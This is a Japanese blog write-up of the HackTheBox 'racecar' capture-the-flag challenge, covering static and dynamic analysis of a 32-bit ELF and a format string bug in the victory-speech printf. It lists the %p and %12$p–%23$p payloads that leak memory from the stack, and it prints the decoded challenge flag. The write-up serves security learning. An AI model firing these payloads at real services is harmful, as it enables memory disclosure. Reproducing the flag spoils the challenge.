#28 [HTB] racecar
バイナリをガンガン読めるようになりたいので、Pwnをやります。HackTheBoxのChallengeより「racecar」を解きました。
Write Up
静的解析
対象ファイルがダウンロードできます。まず、調査。
$ file racecar
racecar: ELF 32-bit LSB pie executable, Intel 80386,
version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2,
for GNU/Linux 3.2.0, BuildID[sha1]=c5631a370f7704c44312f6692e1da56c25c1863c,
not stripped
ELF形式の実行ファイルです。ストリップされていないので、デバッグしやすそう。
$ xxd racecar
......
00001a00: 2073 6179 2074 6f20 7468 6520 7072 6573 say to the pres
00001a10: 7320 6166 7465 7220 796f 7572 2062 6967 s after your big
00001a20: 2076 6963 746f 7279 3f0a 3e20 2573 0072 victory?.> %s.r
00001a30: 0066 6c61 672e 7478 7400 0000 2573 5b2d .flag.txt...%s[-
00001a40: 5d20 436f 756c 6420 6e6f 7420 6f70 656e ] Could not open
00001a50: 2066 6c61 672e 7478 742e 2050 6c65 6173 flag.txt. Pleas
00001a60: 6520 636f 6e74 6163 7420 7468 6520 6372 e contact the cr
00001a70: 6561 746f 722e 0a00 0a1b 5b33 6d54 6865 eator.....[3mThe
00001a80: 204d 616e 2c20 7468 6520 4d79 7468 2c20 Man, the Myth,
00001a90: 7468 6520 4c65 6765 6e64 2120 5468 6520 the Legend! The
00001aa0: 6772 616e 6420 7769 6e6e 6572 206f 6620 grand winner of
00001ab0: 7468 6520 7261 6365 2077 616e 7473 2074 the race wants t
00001ac0: 6865 2077 686f 6c65 2077 6f72 6c64 2074 he whole world t
00001ad0: 6f20 6b6e 6f77 2074 6869 733a 201b 5b30 o know this: .[0
......
中身をざっと見てみると、flag.txtという文字列が出てきます。今回のチャレンジでは、なんとかしてこのflag.txtの内容を読み出すんだろうと想像できます。
動作確認
いったん動かしてみます。
$ telnet xxx.xxx.xxx.xxx <port>
Trying 165.227.231.162...
Connected to 165.227.231.162.
Escape character is '^]'.
🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌
______ |xxx|
/|_||_\`.__ | F |
( _ _ _\ |xxx|
*** =`-(_)--(_)-' | I |
|xxx|
| N |
|xxx|
| I |
|xxx|
_-_- _/\______\__ | S |
_-_-__ / ,-. -|- ,-.`-. |xxx|
_-_- `( o )----( o )-' | H |
`-' `-' |xxx|
🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌
Insert your data:
Name: tkusa
Nickname: tkusa
]!] Welcome [tkusa
]!but everybody calls you.. [tkusa
[*] Current coins: [69]
1. Car info
2. Car selection
> 1
🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌
Car #1 stats: 🚗
[Speed]: ▋▋▋▋
[Acceleration]: ▋▋▋▋▋
[Handling]: ▋▋▋▋▋▋▋▋
🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌
Car #2 stats: 🏎️
[Speed]: ▋▋▋▋▋▋▋▋▋
[Acceleration]: ▋▋▋▋▋▋▋▋
[Handling]: ▋▋
🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌
1. Car info
2. Car selection
> 2
Select car:
1. 🚗
2. 🏎️
> 1
Select race:
1. Highway battle
2. Circuit
> 2
[*] Waiting for the race to finish...
[+] You won the race!! You get 100 coins!
[+] Current coins: [169]
[!] Do you have anything to say to the press after your big victory?
> a
The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this:
a
Connection closed by foreign host.
レースがはじまりました。勝利するとコインがもらえ、勝利インタビューを受けるというスクリプトです。
動的解析
flag.txtはどこで使われているのでしょうか?
gdbを使って動的解析をしてみます。
$ gdb racecar
> b main
> run
そのまま実行すると、「flag.txtが見つからない」とエラーになります。仮に、"test_flag"という内容でflag.txtファイルを作成し、実行ファイルと同じディレクトリに保存するとエラーなく実行できます。
調査を進めると、car_menuという関数の中で、flagが読み出されていることがわかりました。flagは、変数に保持されているものの、処理の中では使われていません。
Ghidraでデコンパイルして、詳細を確認しましょう。
void car_menu(void)
{
.....
##### 省略 #####
.....
if (((iVar1 == 1) && (iVar2 < iVar3)) || ((iVar1 == 2 && (iVar3 < iVar2)))) {
printf("%s\n\n[+] You won the race!! You get 100 coins!\n",&DAT_00011540);
coins = coins + 100;
puVar5 = &DAT_00011538;
printf("[+] Current coins: [%d]%s\n",coins,&DAT_00011538);
printf("\n[!] Do you have anything to say to the press after your big victory?\n> %s",
&DAT_000119de);
__format = (char *)malloc(0x171);
##### flag読み出し #####
__stream = fopen("flag.txt","r");
if (__stream == (FILE *)0x0) {
printf("%s[-] Could not open flag.txt. Please contact the creator.\n",&DAT_00011548,puVar5);
/* WARNING: Subroutine does not return */
exit(0x69);
}
fgets(local_3c,0x2c,__stream);
read(0,__format,0x170);
puts(
"\n\x1b[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: \x1b[0m"
);
##### 勝利インタビューの表示 #####
printf(__format);
}
.....
##### 省略 #####
.....
}
気になるのは、勝利インタビューの表示箇所です。printfで入力値をそのまま引数に取っています。printfは、%sのようなフォーマット文字列を適当に解釈して表示してくれます。
メモリから表示する%pを入力してみます。
!] Do you have anything to say to the press after your big victory?
> %p%p%p%p%p
The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this:
0x582181c00x1700x56614d850x80x47
ビンゴ!
%pはスタックの上から順に読み込んでいきます。flagは、スタックの12番目〜23番目までに格納されていました。
[!] Do you have anything to say to the press after your big victory?
> %12$p %13$p %14$p %15$p %16$p %17$p %18$p %19$p %20$p %21$p %22$p %23$p
The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this:
0x7b425448 0x5f796877 0x5f643164 0x34735f31 0x745f3376 0x665f3368 0x5f67346c 0x745f6e30 0x355f3368 0x6b633474 0x7d213f 0x86af5700
流出したメモリを文字列に変換すると、いかにもそれらしい感じです。
{BTH _yhw _d1d 4s_1 t_3v f_3h _g4l t_n0 5_3h kc4t }!?
ここで、もう一工夫必要です。リトルエンディアンなので、各バイトを反転しなければいけません。
HTB{why_d1d_1_s4v3_th3_fl4g_0n_th3_5t4ck?!}
これでOK!
まとめ
今回の問題は、フォーマット文字列を悪用したメモリの流出に関する問題でした。Pwnは、基礎技術に対する深い理解が求められます。バッファオーバーフローなど致命的な攻撃につながる可能性もあるので、バッチリ習得したいところです。
EOF